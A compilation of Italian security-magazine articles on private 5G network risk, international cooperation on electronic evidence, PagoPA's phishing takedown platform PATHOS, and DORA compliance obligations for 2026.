Le industrie manifatturiere, energetiche e logistiche che stanno adottando campus network 5G si trovano a gestire una superficie d’attacco ibrida di tipo nuovo, dove la convergenza IT/OT si arricchisce di una terza dimensione, quella telco, per la quale non sempre esistono competenze interne, standard di riferimento condivisi o strumenti di difesa già consolidati. Il report PwC 2026 conferma che solo il 25% delle organizzazioni manifatturiere spende significativamente di più in misure di sicurezza proattive rispetto a quelle reattive: uno squilibrio che, nell’era dei campus network 5G, diventa ancora più pericoloso.

Ignorare questa specificità, o trattare il 5G privato come una semplice evoluzione del Wi-Fi industriale, è un errore che le organizzazioni critiche non possono permettersi. La NIS2, con gli obblighi ora operativi in Italia, offre una cornice normativa che spinge verso un approccio strutturato, ma la compliance non è sinonimo di sicurezza.

Il vero lavoro consiste nell’adattare il modello di gestione del rischio alla specificità tecnica di un’infrastruttura che parla simultaneamente i linguaggi del 3GPP, dell’IEC 62443 e dell’ISO/IEC 27001, e nel farlo prima che un attaccante trovi nel campus network il percorso verso il sistema SCADA che controlla la produzione.

https://www.ictsecuritymagazine.com/articoli/reti-5g-private/

Intervento di Aisling Kelly, Head of the Cybercrime Division, Consiglio d’Europa 14a Cyber Crime Conference, Auditorium della Tecnica, Roma, 6-7 maggio 2026

Da pochi mesi alla guida della Cybercrime Division del Consiglio d’Europa, con sede a Strasburgo, Aisling Kelly ha portato sul palco della 14a Cyber Crime Conference uno sguardo trasversale sulla cooperazione internazionale in materia di prove elettroniche.

Una prospettiva costruita su un percorso professionale articolato: diciotto anni come pubblico ministero, prima nei servizi di accusa irlandesi (Office of the Director of Public Prosecutions) e poi presso il Tribunale Penale Internazionale per il Ruanda delle Nazioni Unite, seguiti da un’esperienza in Microsoft alla guida del team europeo dedicato alle richieste di accesso ai dati provenienti dalle forze dell’ordine e dai servizi di sicurezza nazionale, e infine l’attuale ruolo presso l’istituzione di Strasburgo, dove la sua squadra è responsabile della Convenzione di Budapest sul cybercrime (2001) e dei suoi due protocolli aggiuntivi.

La cooperazione internazionale come architettura multilivello

Il primo passaggio dell’intervento è servito a chiarire cosa si intende davvero quando si parla di cooperazione internazionale sulle prove elettroniche. Non un canale unico, ma un sistema profondamente stratificato: cooperazione di polizia (police-to-police); cooperazione giudiziaria fondata su strumenti eterogenei, che spaziano dalla legislazione interna all’assistenza giudiziaria reciproca, dall’Ordine Europeo di Indagine ai trattati delle Nazioni Unite contro la criminalità organizzata transnazionale e la corruzione, fino alla Convenzione di Budapest e al suo Secondo Protocollo Aggiuntivo; cooperazione verticale all’interno dei singoli Paesi; cooperazione laterale tra agenzie di Stati diversi; e, infine, cooperazione con i service provider. Tutto questo, ha sottolineato l’esperta, è cooperazione internazionale.

Un’architettura così complessa non si governa con la sola disponibilità degli strumenti giuridici: serve la capacità concreta di utilizzarli. È per questa ragione che il capacity building costituisce il fulcro del lavoro del Consiglio d’Europa in materia. Un team di oltre quaranta professionisti organizza iniziative formative rivolte agli 81 Stati Parte della Convenzione e ad altri Paesi, su temi che spaziano dall’analisi delle prove digitali alla open source intelligence, dalle indagini sulle criptovalute alla comprensione dei meccanismi di assistenza giudiziaria reciproca. Un patrimonio che, ha tenuto a precisare la relatrice, non è caduto dal cielo: è il frutto della visione costruita in vent’anni dal suo predecessore Alexander Seger, al quale ha voluto rendere un sentito tributo.

Le tendenze globali: l’extraterritorialità come reazione

Il fulcro analitico dell’intervento è stato dedicato a un fenomeno trasversale: la crescente tendenza degli Stati a estendere extraterritorialmente l’applicazione delle proprie leggi in materia di acquisizione di prove elettroniche. Una tendenza che la giurista legge come risposta alla frustrazione del fronte investigativo, spesso incapace di ottenere in tempi utili i dati necessari a condurre le indagini.

La rassegna proposta è stata densa di esempi.

L’Australia, con il Telecommunications Legislation Amendment (International Production Orders) Act del 2021, ha aperto la strada a un accordo bilaterale diretto con gli Stati Uniti, siglato a dicembre 2021 nel quadro del CLOUD Act, che consente alle autorità australiane di accedere direttamente ai dati detenuti dai provider statunitensi: un cambiamento che la responsabile della Cybercrime Division ha definito trasformativo per il sistema investigativo del Paese.

Il Brasile, già nel 2014, aveva legiferato in chiave extraterritoriale attraverso l’articolo 11 del Marco Civil da Internet (Legge 12.965/2014).

L’Unione Europea, con il pacchetto e-Evidence (la cui entrata in applicazione è fissata al 18 agosto 2026, ai sensi del Regolamento UE 2023/1543), introduce un criterio giurisdizionale fondato sull’offerta del servizio nel territorio dell’Unione, consentendo alle autorità degli Stati membri di rivolgersi direttamente ai service provider per ottenere dati di contenuto e di non contenuto.

La Germania ha esteso extraterritorialmente la propria normativa sulle telecomunicazioni con riferimento all’intercettazione legale: in questo contesto la dirigente di Strasburgo ha richiamato una pronuncia del Tribunale Amministrativo di Colonia del giugno 2025, che affronta l’intreccio tra la legge tedesca sulle telecomunicazioni e la direttiva e-Commerce nel valutare l’applicabilità della normativa interna a un provider stabilito in un altro Stato membro UE.

L’India, di fronte all’impennata di minacce di attentati registrata negli ultimi dodici-diciotto mesi (riconducibile all’instabilità politica del contesto regionale), ha risposto rafforzando in chiave extraterritoriale le richieste di emergency disclosure rivolte a una pluralità di service provider esteri, spingendo ulteriormente i confini dell’applicazione extraterritoriale della propria normativa.

Sul fronte americano, l’ex pubblico ministero ha richiamato il caso Chatrie v. United States, attualmente pendente davanti alla Corte Suprema degli Stati Uniti dopo la concessione del writ of certiorari a gennaio 2026; l’argomentazione orale si è tenuta il 27 aprile, con decisione attesa entro la fine del term, a giugno 2026. Il caso affronta la legittimità dei geofence warrant, ovvero degli ordini rivolti ai service provider (nella specie Google) per ottenere i dati relativi a tutti i dispositivi presenti in un’area geografica circoscritta e in una finestra temporale definita.

Si tratta di un’inversione rispetto al paradigma tradizionale, nel quale la richiesta riguarda un soggetto già identificato; nel modello geofence, è la richiesta stessa a servire per identificare i soggetti.

Il Regno Unito, infine, rappresenta un terreno particolarmente fertile per gli sviluppi extraterritoriali, sia attraverso il Crime (Overseas Production Orders) Act del 2019 sia attraverso la Technical Capability Notice notificata ad Apple ai sensi dell’Investigatory Powers Act 2016: una richiesta che ha imposto al colosso di Cupertino di consentire l’accesso ai dati cifrati di iCloud, conducendo poi alla rimozione del servizio Advanced Data Protection per gli utenti britannici.

Tutte queste evoluzioni, ha osservato la relatrice, condividono un problema strutturale: l’extraterritorialità implica necessariamente conflitti di leggi. Riprendendo un’immagine efficace, non possiamo essere tutti corazzate che si protendono nello stesso oceano senza che, prima o poi, le rotte si incrocino. Come si risolvano questi conflitti resta una delle questioni aperte del diritto internazionale.

Dal puzzle all’autostrada a più corsie

Più che a un puzzle giuridico, come spesso viene descritto il quadro normativo internazionale, Aisling preferisce l’immagine dell’autostrada a più corsie. L’operatore di un singolo ordinamento si muove avendo a disposizione strumenti multipli, tutti contemporaneamente percorribili: la nuova Convenzione delle Nazioni Unite sul cybercrime, la Convenzione di Budapest, le leggi nazionali, l’assistenza giudiziaria tradizionale. Anche i service provider devono orientarsi in questo traffico, mentre tutti viaggiano a velocità diverse, con veicoli diversi, su corsie diverse.

In una metafora del genere, le garanzie giuridiche sono i semafori, i dossi e gli autovelox: indispensabili. Nella Convenzione di Budapest, l’articolo 15 stabilisce un nucleo essenziale di tutele; nel Secondo Protocollo Aggiuntivo sulle prove elettroniche, gli articoli 13 e 14 disciplinano le garanzie applicabili. Controllo giurisdizionale, proporzionalità, tutela dei diritti umani e delle libertà fondamentali: senza questi presidi, ha ribadito la relatrice, gli strumenti investigativi non possono operare in un quadro effettivamente rispettoso dei diritti.

Prova elettronica o dato? Una questione di linguaggio (e di sostanza)

Una delle riflessioni più stimolanti dell’intervento ha riguardato il diverso lessico utilizzato dagli attori in campo. Le forze dell’ordine parlano di prova elettronica; i service provider parlano di dato. Una differenza terminologica che riflette prospettive sostanzialmente diverse: per il pubblico ministero o l’investigatore, l’ordine giudiziario serve ad acquisire un elemento probatorio; per il provider, lo stesso elemento è un dato sottoposto a una pluralità di obblighi regolatori paralleli, di cui l’operatore del cybercrime farebbe bene a tenere conto.

La rappresentante del Consiglio d’Europa ha quindi ripercorso i principali quadri normativi che si intrecciano con la materia della prova elettronica, a partire dal Digital Services Act dell’Unione Europea (con particolare riferimento agli articoli 10 sugli ordini di fornire informazioni, 15 sugli obblighi di trasparenza e 18 sulla notifica di sospetti di reati) e dall’Online Safety Act britannico, che ha introdotto strumenti di acquisizione e conservazione dei dati nelle indagini sulle morti di minori, attivabili dai coroner attraverso Ofcom (segnatamente i Coroner Information Notice in vigore da aprile 2024 e i Data Preservation Notice operativi dal 30 settembre 2025).

A questi si aggiungono il GDPR e la direttiva sulla protezione dei dati nell’ambito penale, entrambi oggetto di possibili modifiche nel quadro del digital omnibus europeo, il ruolo di vigilanza delle autorità di protezione dei dati e, infine, la legislazione sulle intercettazioni, da monitorare tanto a livello internazionale quanto a livello domestico.

L’ultima frontiera: l’intelligenza artificiale

La chiusura dell’intervento è stata dedicata al tema più attuale: la regolazione dell’intelligenza artificiale e il suo impatto sull’azione delle law enforcement agency. Il Cybercrime Convention Committee (T-CY) del Consiglio d’Europa, attraverso il Working Group sull’IA istituito a dicembre 2024, sta preparando uno studio di mappatura sui reati legati all’intelligenza artificiale e sull’uso dell’IA nelle indagini e nei procedimenti penali. Il lavoro sarà pubblicato entro la fine dell’anno e, ha anticipato la relatrice, costituirà una risorsa di riferimento per chi opera in questo ambito.

Una conclusione che riassume bene lo spirito dell’intervento: la cooperazione internazionale sulle prove elettroniche non può essere ridotta a un esercizio di tecnica giuridica. È un terreno geopolitico nel quale strumenti, garanzie, attori istituzionali e operatori privati si muovono insieme, e nel quale la capacità di leggere le trasformazioni in corso è ormai parte integrante del mestiere di chi indaga, accusa o giudica.

https://www.ictsecuritymagazine.com/articoli/prova-elettronica-geopolitica/

Intervento di Mirko Caruso (Area Security Governance, Risk & Compliance, PagoPA) alla 14ª Cyber Crime Conference, Roma, 6-7 maggio 2026

Dal marzo 2025 un’ampia platea di cittadini italiani è finita nel mirino di un fenomeno di phishing su scala industriale, che sfrutta l’autorevolezza del brand PagoPA, insieme ai loghi e alle finalità della piattaforma, per sottrarre dati anagrafici e di pagamento. Nel suo intervento alla 14ª Cyber Crime Conference, Mirko Caruso ne ha ripercorso genesi ed evoluzione, illustrando nel dettaglio la risposta operativa e la piattaforma PATHOS (Phishing Analysis and Takedown Harmonized Operation System), sviluppata dal Dipartimento Security & ICT Operations di PagoPA.

Campagne phishing contro lo Stato: i primi segnali a marzo 2025

I primi segnali sono stati intercettati nel marzo 2025 grazie a un monitoraggio basato su typosquatting e Google dorking. Il team Security di PagoPA ha rilevato, tra il 20 e il 31 marzo 2025, risultati indicizzati da Google che rimandavano a SMS di phishing a tema PagoPA, catturati e resi pubblici da servizi gratuiti di virtual number per la ricezione di SMS, come OnlineSim.

Un dettaglio rivelatore: nelle prime campagne gli attori malevoli avevano lasciato un refuso, probabilmente residuo di campagne precedenti, indicando “Netflix” come mittente di SMS che in realtà simulavano una multa per violazione del codice della strada, con redirect verso il dominio “pagopa-it.com”.

Il template iniziale conteneva errori grossolani: bastava notare l’accostamento fra il logo delle Capitanerie di Porto e il footer “ATAC S.p.A. PagoPA”. Eppure, fin dalle prime campagne emergeva una raccolta sistematica dei dati anagrafici, destinati a essere riutilizzati in campagne successive, più mirate e personalizzate.

Cittadini come fattore abilitante

Fin dai primi giorni di marzo 2025 i cittadini hanno iniziato a segnalare le campagne sospette: dapprima al canale di assistenza di primo livello (L1) e poi, dal luglio 2025, a una mailbox dedicata, truffe@pagopa.it.

Al 29 aprile 2026 PagoPA ha registrato 46.714 segnalazioni complessive, così distribuite per brand:

• pagoPA: 18.651 (di cui 14.556 via telefonate, 3.756 via email, 339 via web)
• truffe@pagopa.it: 27.060
• app IO: 856
• SEND: 145
• Self Care: 2

L’introduzione della mailbox dedicata ha ridotto drasticamente il carico sui canali di assistenza, separando il flusso delle segnalazioni di truffa da quello dell’assistenza ordinaria.

Caruso ha sottolineato come il cittadino non sia più “l’anello debole” della catena, ma una sentinella attiva del territorio digitale, capace, spesso, di intercettare nuove campagne prima ancora dei servizi commerciali di phishing intelligence.

Monitoraggio attraverso Google Trends e Google Alerts

L’analisi di Google Trends si è rivelata uno strumento di early warning particolarmente efficace. Per la query “pagopa truffa” si sono registrate impennate degli argomenti correlati “Multa” e “Notifica”, con concentrazioni geografiche iniziali in Valle d’Aosta, Sicilia e Lombardia. Particolarmente significativi i picchi sulla query anomala “pagopa netflix”, osservati il 24 e il 30 marzo 2025: coincidevano con la diffusione degli SMS che citavano impropriamente Netflix, e raccontavano di cittadini che interrogavano Google per capire cosa stesse accadendo.

Il framework operativo che ne è derivato si articola in quattro fasi: rilevazione dei segnali dai cittadini; aggregazione e analisi su Google Trends; intelligence ed early warning di Cyber Threat; azione e protezione da parte di istituzioni e aziende.

Evoluzione dei template di phishing

Caruso ha illustrato la progressiva sofisticazione dei template:

• Low-fidelity (campagne iniziali): raccolta anagrafica basilare prima del pagamento, con errori grafici evidenti.
• CTA diretta: template con sola call to action al pagamento (ad esempio “Avviso di sollecito ufficiale”), senza raccolta anagrafica preliminare.
• High-fidelity: a oggi il template più diffuso. Include riferimenti completi (sede legale, P.IVA, dicitura “Finanziato dall’Unione Europea”), loghi corporate e di piattaforma, e simula con precisione il flusso di pagamento autentico.
• Clone di pagopa.gov.it: ulteriore evoluzione high-fidelity in fase di diffusione, che riproduce fedelmente layout, colori e tipografia delle pagine istituzionali.

Timeline delle azioni di risposta

La risposta operativa si è articolata in dieci tappe principali:

1. Marzo 2025: prime analisi e richieste manuali di takedown.
2. Marzo-Aprile 2025: analisi e mappatura dei kit nel progetto open source IOK (Indicator of Kit), che permette di definire regole di matching specifiche per brand.
3. Aprile-Maggio 2025: sviluppo di un processo automatizzato per l’analisi degli IoC e la conferma come phishing PagoPA.
4. Maggio 2025: accreditamento al feed IoC del CERT-AgID.
5. Luglio 2025: apertura del canale truffe@pagopa.it per le segnalazioni spontanee dei cittadini, senza vincoli di forma.
6. Luglio-Dicembre 2025: analisi, monitoraggio, takedown e gestione automatizzati tramite script standalone.
7. Dicembre 2025: sviluppo di PATHOS, nel quale confluiscono i diversi script in una piattaforma unificata.
8. Gennaio 2026: go-live di PATHOS.
9. Gennaio-Aprile 2026: miglioramento continuo della piattaforma.

PATHOS in profondità

PATHOS si articola in tre tipologie di job automatizzati:

• Import Job: acquisisce observable dalla mailbox truffe@pagopa.it, da bulk import manuale o via API.
• Confirmation Job: verifica automaticamente l’observable confrontandolo con regole IOK e keyword matching, per confermarlo o escluderlo come IoC PagoPA, e per acquisire evidenze forensi utili al takedown.
• Takedown Job: invia la richiesta di rimozione al contatto abuse più consono, e ne monitora lo stato fino alla conferma, e oltre, per intercettare le frequenti “re-infezioni”.

La dashboard di PATHOS espone in tempo reale il numero di observable, IoC confermati, richieste di takedown inoltrate e statistiche aggregate. Il dettaglio del singolo IoC comprende screenshot, redirect chain completa, eventi notevoli (variazione della redirect chain, conferma di takedown), integrazione con Google Safe Browsing API (per verificare se l’URL è già noto ai servizi anti-phishing) e con UrlScan.io (per scansioni e capture di rete della pagina).

Per i contatti abuse, PATHOS mappa fonti autorevoli (registrar, hosting, CDN) e integra contatti “collaborativi” costruiti su base informale con i gestori di alcuni servizi SaaS. È stata sviluppata anche un’integrazione nativa con Cloudflare Abuse API per inviare segnalazioni conformi direttamente tramite l’endpoint ufficiale.

La piattaforma offre inoltre funzionalità di pattern & frequency analysis e keyword co-occurrence sui path degli URL malevoli: la ricorrenza di segmenti come pagopa/log/msdpweb/index.php
rivela l’impiego del medesimo kit di phishing distribuito su infrastrutture diverse. Una visualizzazione a grafo (al 29 aprile 2026: 1.212 domini, 3.761 URL, 2.674 redirect) permette di individuare costellazioni infrastrutturali complesse e redirect chain articolate.

Tra le funzionalità più innovative, l’estrazione e il rilevamento euristico degli indirizzi email mittenti impiegati nella diffusione del phishing a partire dalle segnalazioni dei cittadini ha permesso di identificare account compromessi di studenti di tre università italiane (studenti.uniroma1.it, studenti.unich.it, community.unipa.it), utilizzati per diffondere phishing a tema PagoPA. Tali account sono stati poi segnalati al CERT-AgID per la tempestiva risoluzione.

Build vs Buy: il risparmio per la spesa pubblica

Considerando una stima commerciale di 15 € per tentativo di takedown (su base delle quotazioni ricevute nel 2025), Caruso ha quantificato il risparmio per la spesa pubblica:

• Pre-PATHOS (22 aprile 2025 – 3 gennaio 2026): circa 87.000 € di risparmio stimato.
• Con PATHOS (1 gennaio – 25 aprile 2026): circa 61.000 € di risparmio stimato.

Trattandosi PagoPA di società pubblica, il risparmio si traduce in minore spesa pubblica complessiva.

Demotivazione degli attori malevoli

Nei casi in cui il takedown non risulti immediato, il team ha sviluppato tecniche per aumentare il costo operativo degli attori malevoli, applicando i principi della SANS Pyramid of Pain.

L’analisi dei kit ha rivelato la presenza di bot token Telegram offuscati, ricostruiti deoffuscando il codice JavaScript che li nascondeva. I token venivano impiegati dagli attori per ricevere in tempo reale i dati delle carte di pagamento estratti dalle vittime (PAN, scadenza, CVV, indirizzo IP), e per reindirizzare la vittima verso pagine di inserimento di OTP bancari, tramite pannelli di controllo. L’infrastruttura “C2” osservata è riconducibile al kit noto come Premium Panel, documentato da Intrinsec come attivo dal 2022 contro i settori bancario, logistico e telco in numerosi paesi.

Su questa base, PagoPA ha messo in atto due strategie di demotivazione:

• Demotivazione #1: triggering del rate limit delle Telegram API in modo “silenzioso” (non noto agli attori), abusando del bot token estratto. In questo modo si rende temporaneamente inutilizzabile il canale di ricezione dei dati durante i picchi di diffusione della campagna.
• Demotivazione #2: flooding in chat per innescare il blocco del bot da parte dell’utente, costringendo gli attori a generare un nuovo bot token e ad aggiornare tutti i template attivi (operazione costosa in termini di tempo).

Statistiche al 29 aprile 2026

• Observable: 54.895 (33.664 univoci)
• IoC confermati: 4.575 (3.669 in takedown)
• Richieste di takedown: 4.944 (4.369 processate, 575 skippate)
• Abuse contact univoci: 247
• Takedown job: 100
• Stato di takedown: 80,2% complessivo, con settimane al 100%
• Tempo medio di takedown: 5,3 giorni dalla prima richiesta alla conferma

Le performance variano sensibilmente a seconda di CDN e abuse contact: Cloudflare e Akamai risultano mediamente più lente nella gestione delle richieste. PATHOS calcola anche la durata media di diffusione delle campagne (1,8 giorni nella media, fino a 37 giorni nei casi più persistenti) e rileva spike e drop settimanali tramite Z-score (|Z| ≥ 2.0) e IQR fence (1,5×IQR di Tukey) su tutte le 14 settimane storiche disponibili.

Sfide tecniche

Il team ha affrontato cinque principali categorie di evasione:

Casi curiosi

Tre casi emblematici emersi dall’analisi:

• Compromissione di un vendor di cybersecurity classificato Gartner Magic Quadrant “Visionaries”: il sistema di mail marketing del vendor è stato abusato per la diffusione di phishing a tema PagoPA.
• Compromissione di un secondo vendor di cybersecurity, questa volta classificato Gartner Customers’ Choice per soluzioni antivirus: anche in questo caso il sistema di mail marketing è stato impiegato per la diffusione di campagne, con persistenza dell’abuso.
• Il caso pagamento.fittizio.it/multa39: una campagna inoltrata da una mailbox appartenente a un’università sudamericana, con un link visibile a tutti gli effetti palesemente falso da non richiedere ulteriori commenti.

Rilevanza percepita e “rumore” utile

La mailbox truffe@pagopa.it riceve anche segnalazioni di phishing non riconducibili a PagoPA: BRT, PayPal, SHEIN e molti altri “brand” noti. Per il team rappresentano “rumore” da ignorare, ma testimoniano il valore percepito del canale: i cittadini si rivolgono a PagoPA come riferimento generale per le truffe digitali, anche al di fuori del perimetro istituzionale.

Conclusioni: il “Brand Stato” come abilitatore sociale

Caruso ha chiuso l’intervento con alcune riflessioni di sistema:

• Customer base come sentinella attiva: il cittadino è un sensore del territorio digitale, in grado di rilevare minacce prima dei servizi commerciali.
• Semplicità di segnalazione: il semplice inoltro di una email a caselle dirette è infinitamente più efficace della PEC, che molte banche ancora richiedono.
• Workflow automatizzati: dietro la semplicità offerta all’utente serve un’analisi automatizzata robusta.
• Collaborazione istituzionale: il successo dipende dalla sinergia con i CERT istituzionali, le Autorità e le Forze dell’Ordine.
• Aumentare il costo per gli attaccanti: non solo bloccare URL, ma neutralizzare l’infrastruttura retrostante (Telegram, kit) per rendere le campagne economicamente insostenibili.
• Una “Phish Intelligence” collettiva nazionale: estendere il modello PATHOS ad altri Enti (Sanità, INPS, Agenzia delle Entrate) e aziende, trasformando ogni segnalazione in un early warning per l’intero ecosistema.

E un’ultima considerazione, forse la più politica: la tutela del “Brand Stato”. Quando un cittadino subisce una truffa su un portale che imita Amazon, perde fiducia in Amazon. Quando la subisce su un portale che imita PagoPA, SPID o INPS, perde fiducia nello Stato. Dimostrare che il “Brand Stato” interviene attivamente e con tempestività è fondamentale per non respingere i cittadini agli sportelli fisici, per timore delle frodi online. La sicurezza diventa, a tutti gli effetti, un vero e proprio abilitatore sociale.

L’intervento si è chiuso con il ringraziamento agli oltre 40.000 cittadini le cui segnalazioni spontanee continuano a rendere possibile il funzionamento del sistema, oltre che ai colleghi del Dipartimento Security & ICT Operations di PagoPA, al CERT-AgID, e alla Polizia Postale e delle Comunicazioni.

https://www.ictsecuritymagazine.com/articoli/campagne-phishing-pagopa/

Il 2026 è l’anno in cui DORA smette di essere un esercizio di compliance formale e diventa operatività reale: i primi Threat-Led Penetration Test in fase di pianificazione, la vigilanza diretta sui fornitori critici avviata, la prima scadenza annuale del Registro Informazioni già maturata a marzo. Una guida agli adempimenti chiave, verificata su fonti istituzionali primarie.

Adempimenti DORA 2026: Il quadro normativo di riferimento

Il Regolamento (UE) 2022/2554 del Parlamento europeo e del Consiglio del 14 dicembre 2022 è relativo alla resilienza operativa digitale per il settore finanziario, universalmente noto come DORA (Digital Operational Resilience Act). Pubblicato sulla Gazzetta Ufficiale dell’Unione Europea del 27 dicembre 2022, è entrato in vigore il 16 gennaio 2023. Il Regolamento trova applicazione obbligatoria a partire dal 17 gennaio 2025.

Il legislatore europeo ha perseguito due obiettivi convergenti: armonizzare le normative esistenti nei singoli Stati membri, ponendo fine al mosaico regolatorio che rendeva complessa la compliance transfrontaliera, e affrontare organicamente la gestione del rischio ICT per l’intero comparto finanziario. Il Regolamento si applica a circa 22.000 società dei Financial Services, ricomprendendo nel perimetro entità del settore tradizionale come istituti di credito, borse e stanze di compensazione, gestori di fondi alternativi, compagnie di assicurazione, istituti di pagamento, istituti di moneta elettronica, nonché fornitori di servizi di criptovaluta, emittenti di cripto-asset ed emittenti di token.

Un elemento strutturalmente innovativo è che il Regolamento DORA si applica non soltanto alle entità finanziarie, ma anche ai fornitori ICT che servono il settore finanziario. Questo include cloud provider, data center e fornitori di servizi informativi critici come rating creditizi e data analytics.

Sul piano dell’attuazione nazionale, l’Italia ha completato il recepimento con il Decreto Legislativo 10 marzo 2025, n. 23, pubblicato in Gazzetta Ufficiale nella Serie Generale n. 58 dell’11 marzo 2025, contenente le disposizioni di adeguamento della normativa nazionale al Regolamento (UE) 2022/2554 e per il recepimento della Direttiva (UE) 2022/2556.
Il decreto ha identificato le autorità competenti e definito il quadro sanzionatorio nazionale, intervenendo direttamente su TUB, TUF, Codice delle Assicurazioni e normativa previdenziale.

I cinque pilastri del framework

L’architettura di DORA si articola in cinque aree tematiche, definite dal testo del Regolamento e declinate operativamente dagli atti tecnici di secondo livello adottati da EBA, EIOPA ed ESMA.

1. Gestione del rischio ICT (artt. 5–16). Le entità finanziarie sono tenute a predisporre, monitorare e aggiornare un quadro per la gestione dei rischi informatici solido, esaustivo e adeguatamente documentato, che consenta di affrontare tali rischi in maniera rapida, efficiente ed esaustiva. La responsabilità della gestione dei rischi informatici deve essere attribuita a una funzione di controllo ICT con un livello appropriato di indipendenza, al fine di evitare conflitti di interesse. Tale funzione non può essere affidata alla struttura che svolge l’internal audit.
2. Segnalazione degli incidenti ICT (artt. 17–23). Le entità finanziarie devono classificare, registrare e notificare gli incidenti gravi alle autorità competenti secondo criteri armonizzati. Le entità finanziarie devono mantenere e aggiornare un registro delle informazioni su tutti gli accordi contrattuali per l’utilizzo di servizi ICT prestati da fornitori terzi. I formati e le procedure standard per la segnalazione sono stati definiti dalla Commissione Europea con l’atto del 23 ottobre 2024.
3. Test di resilienza operativa digitale (artt. 24–27). Include sia i test di base, obbligatori per tutte le entità, sia i più avanzati Threat-Led Penetration Test (TLPT), riservati alle entità di maggiore rilevanza sistemica. Il framework di riferimento è TIBER-EU, aggiornato l’11 febbraio 2025 per allinearlo agli RTS DORA.
4. Gestione del rischio di terze parti ICT (artt. 28–44). Nell’esternalizzare funzioni critiche e importanti, le entità finanziarie sono tenute a negoziare accordi specifici riguardanti, tra le altre cose, strategie di uscita, audit e obiettivi prestazionali per l’accessibilità, l’integrità e la sicurezza. La responsabilità piena rimane sempre in capo all’entità finanziaria committente.
5. Condivisione delle informazioni (art. 45). DORA promuove accordi volontari di condivisione delle informazioni sulle minacce informatiche tra entità finanziarie, nel rispetto del GDPR e degli obblighi di riservatezza. Si tratta di un pilastro che converge con le logiche già introdotte dalla Direttiva NIS2 e il suo impatto sulle infrastrutture critiche, anch’essa applicabile al settore finanziario.

Gli adempimenti chiave del 2026

Registro delle Informazioni: prima scadenza annuale a regime

È il primo adempimento concreto del 2026 su indicazione diretta della Banca d’Italia. La Comunicazione della Banca d’Italia del 13 febbraio 2026 ha stabilito che ogni anno, a partire dal 2026, la trasmissione del registro delle informazioni dovrà avvenire entro il 15 marzo, con data di riferimento al 31 dicembre dell’anno precedente. Mentre la prima raccolta si è svolta ad aprile 2025, le successive, a partire dal 2026, sono fissate su base annuale, con termine per l’invio dei dati alla Banca d’Italia al 15 marzo di ogni anno. Il registro viene trasmesso tramite la piattaforma INFOSTAT e costituisce la base informativa di riferimento per l’identificazione dei fornitori ICT critici da sottoporre al regime di sorveglianza europeo.

TLPT: identificazione in corso, avvio pianificato tra fine 2026 e 2027

In applicazione dell’articolo 26 del Regolamento DORA, gli intermediari sono tenuti ad effettuare test avanzati di penetrazione basati su minacce (Threat-Led Penetration Test, TLPT) con cadenza almeno triennale. Il quadro regolatorio di riferimento è il Regolamento Delegato (UE) 2025/1190, pubblicato nella Gazzetta Ufficiale dell’Unione Europea il 18 giugno 2025 e direttamente applicabile in tutti gli Stati membri dell’UE dall’8 luglio 2025.

Per quanto riguarda lo stato di avanzamento in Italia, la Banca d’Italia ha chiarito che il processo di identificazione degli intermediari tenuti ad effettuare i TLPT è ancora in corso e, una volta concluso, si procederà ad informare i soggetti interessati nonché a definire, successivamente, una pianificazione per l’esecuzione dei test. La timeline operativa più realistica, in linea con le indicazioni di mercato, è dunque a cavallo tra fine 2026 e inizio 2027.

Non tutte le entità sono soggette all’obbligo avanzato. La regolamentazione riguarda le istituzioni che svolgono un ruolo significativo nel sistema finanziario, tra cui gli istituti di credito classificati come sistemicamente importanti (G-SII e O-SII), nonché gli istituti di pagamento e di moneta elettronica che superino determinate soglie di transazioni. Il TLPT dovrà essere eseguito almeno ogni tre anni, o più frequentemente se le autorità di supervisione lo richiedono. Il purple teaming è obbligatorio nella fase di chiusura e, come misura aggiuntiva, ogni terzo test dovrà essere condotto da un red team esterno.

La vigilanza diretta sui CTPP: Joint Examination Teams operativi dal 2026

La comunicazione ufficiale delle ESA del 18 novembre 2025 ha segnato un passaggio cruciale: le Autorità europee di vigilanza (EBA, EIOPA ed ESMA) hanno pubblicato la prima lista ufficiale dei fornitori terzi critici di servizi ICT designati ai sensi del Regolamento DORA. La designazione segna una fase essenziale per l’attuazione del quadro di sorveglianza. Tra i 19 fornitori critici designati figurano principalmente grandi cloud e platform service provider come AWS, Google Cloud, Deutsche Telekom, Microsoft, Oracle e SAP. Con la loro classificazione ufficiale come Critical ICT Third-Party Providers (CTPP), questi soggetti sono ora sottoposti alla vigilanza diretta delle ESA.

Dal 2026 prende avvio la supervisione operativa concreta: la supervisione sarà svolta da Joint Examination Teams (JET) composti da personale delle ESA e delle autorità nazionali. Per le istituzioni finanziarie clienti di questi fornitori, la designazione non elimina la necessità di due diligence autonome. I contratti devono già includere le clausole obbligatorie DORA su SLA, diritti di audit, notifica degli incidenti, supporto ai test TLPT, impegni di business continuity e condizioni di exit strategy.

La review intermedia della Commissione Europea

Nel 2026 è prevista una review intermedia dell’implementazione da parte della Commissione Europea per valutare l’efficacia del regolamento. Parallelamente, entro gennaio 2026 la Commissione era tenuta a concludere la propria valutazione sull’eventuale estensione dell’ambito di applicazione di DORA ai revisori dei conti, in base all’articolo 58(3) del Regolamento. Il 2028 segnerà invece il momento di bilancio strutturale, con la prima valutazione completa dell’efficacia di DORA da parte delle ESA e possibili aggiornamenti normativi.

Il regime sanzionatorio: il quadro corretto secondo il D.Lgs. 23/2025

La versione definitiva e giuridicamente vincolante del regime sanzionatorio per l’Italia è quella introdotta dal D.Lgs. 10 marzo 2025, n. 23, che ha modificato TUB, TUF e Codice delle Assicurazioni. Il decreto distingue due livelli di gravità delle violazioni.

Per le condotte più gravi, in materia di governance, organizzazione e responsabilità del management, le sanzioni variano da 30.000 euro fino al 10% del fatturato. Per le condotte meno gravi la sanzione massima scende al 7% del fatturato.

Anche le persone fisiche sono direttamente esposte. Le sanzioni per i soggetti apicali (componenti degli organi di amministrazione, direzione o controllo e personale) sono da 5.000 euro a 5 milioni di euro per le violazioni più gravi e da 5.000 euro a 3,5 milioni di euro per quelle meno gravi. Il legislatore ha previsto inoltre la sanzione amministrativa accessoria dell’interdizione dallo svolgimento delle funzioni di amministrazione, direzione e controllo da 6 mesi a 3 anni. Nei casi in cui la violazione abbia generato un vantaggio economico per l’autore, le sanzioni possono essere incrementate fino al doppio del vantaggio conseguito.

